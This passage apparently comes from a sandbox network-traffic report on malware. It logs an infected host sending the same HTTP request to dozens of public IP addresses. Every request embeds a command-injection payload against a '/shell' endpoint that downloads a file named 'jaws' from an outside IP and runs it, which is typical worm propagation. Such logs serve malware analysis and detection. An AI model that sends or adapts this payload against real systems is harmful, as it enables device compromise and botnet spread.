Jun 10, 2024 15:38:02.093025923 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
364	192.168.2.13	48928	205.225.173.196	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.093772888 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
365	192.168.2.13	41156	116.139.9.42	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.094681978 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
366	192.168.2.13	57206	205.141.193.122	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.095480919 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
367	192.168.2.13	35516	118.208.232.79	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.096205950 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
368	192.168.2.13	44218	217.26.244.68	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.096951008 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
369	192.168.2.13	33038	211.223.163.145	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.097659111 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
370	192.168.2.13	46904	169.8.129.214	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.098346949 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
371	192.168.2.13	43804	130.145.155.186	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.099009991 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
372	192.168.2.13	50944	177.48.23.109	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.099888086 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
373	192.168.2.13	60212	118.240.5.99	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.100541115 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
374	192.168.2.13	60594	9.187.220.248	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.101238966 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
375	192.168.2.13	44802	105.130.18.45	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.101872921 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
376	192.168.2.13	41406	147.119.198.29	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.102547884 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
377	192.168.2.13	54126	153.123.46.180	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.103188992 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
378	192.168.2.13	38728	223.124.210.132	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.103821993 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
379	192.168.2.13	44402	79.2.193.50	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.104496002 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
380	192.168.2.13	52408	138.243.195.109	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.106416941 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
381	192.168.2.13	49634	37.113.221.65	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.107053041 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
382	192.168.2.13	38736	31.59.193.253	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.107738018 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
383	192.168.2.13	58042	120.80.140.214	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.108387947 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
384	192.168.2.13	60560	125.86.204.158	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.109019041 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
385	192.168.2.13	53966	72.31.149.51	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.109647036 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
386	192.168.2.13	37622	207.225.19.48	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.110349894 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
387	192.168.2.13	49952	19.78.165.78	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.111021042 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
388	192.168.2.13	36160	123.231.38.192	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.111653090 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
389	192.168.2.13	60740	175.194.108.221	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.112260103 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
390	192.168.2.13	52482	172.81.228.248	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.112951040 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
391	192.168.2.13	47840	122.194.52.31	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.113559008 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
392	192.168.2.13	59022	145.29.230.140	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.114191055 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
393	192.168.2.13	52392	76.129.22.5	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.114753962 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
394	192.168.2.13	57908	208.224.88.164	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.115391016 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
395	192.168.2.13	37242	90.50.216.33	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.116833925 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
396	192.168.2.13	40336	142.74.226.65	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.118011951 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
397	192.168.2.13	41168	221.178.28.105	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.118707895 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
398	192.168.2.13	35946	153.10.225.113	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.119333029 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
399	192.168.2.13	38652	78.106.130.5	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.119966030 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
400	192.168.2.13	54986	89.231.127.82	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.120500088 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
401	192.168.2.13	34212	96.74.255.252	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.121056080 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
402	192.168.2.13	51760	135.204.76.26	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.121618986 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
403	192.168.2.13	60888	31.54.174.172	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.122172117 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
404	192.168.2.13	47044	72.90.29.55	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.122706890 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
405	192.168.2.13	40360	75.224.59.165	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.123264074 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
406	192.168.2.13	46196	209.207.220.115	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.123851061 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
407	192.168.2.13	46494	212.223.13.135	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.125008106 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
408	192.168.2.13	33280	106.120.14.251	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.125560999 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
409	192.168.2.13	41096	218.60.33.200	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.126147032 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
410	192.168.2.13	43072	148.32.33.91	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.126714945 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
411	192.168.2.13	36034	179.134.3.40	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.127507925 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
412	192.168.2.13	37282	193.181.62.252	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.128087044 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
413	192.168.2.13	44504	190.161.182.142	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.128990889 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
414	192.168.2.13	39360	107.49.182.125	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.129599094 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
415	192.168.2.13	49926	48.89.208.8	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.130177021 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
416	192.168.2.13	38916	211.255.132.135	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.130779028 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
417	192.168.2.13	42740	212.194.156.239	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.131521940 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
418	192.168.2.13	37608	48.136.166.233	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.132169008 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
419	192.168.2.13	45504	92.13.170.51	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.132767916 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
420	192.168.2.13	50348	43.251.181.10	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.133347988 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
421	192.168.2.13	41286	220.61.58.145	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.134116888 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
422	192.168.2.13	39618	179.209.203.124	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.134607077 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
423	192.168.2.13	56392	103.245.19.81	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.135366917 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
424	192.168.2.13	45424	117.64.201.48	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.135826111 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
425	192.168.2.13	36728	162.38.247.40	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.136394978 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
426	192.168.2.13	59546	5.5.59.135	80

Timestamp	Bytes transferred	Direction	Data
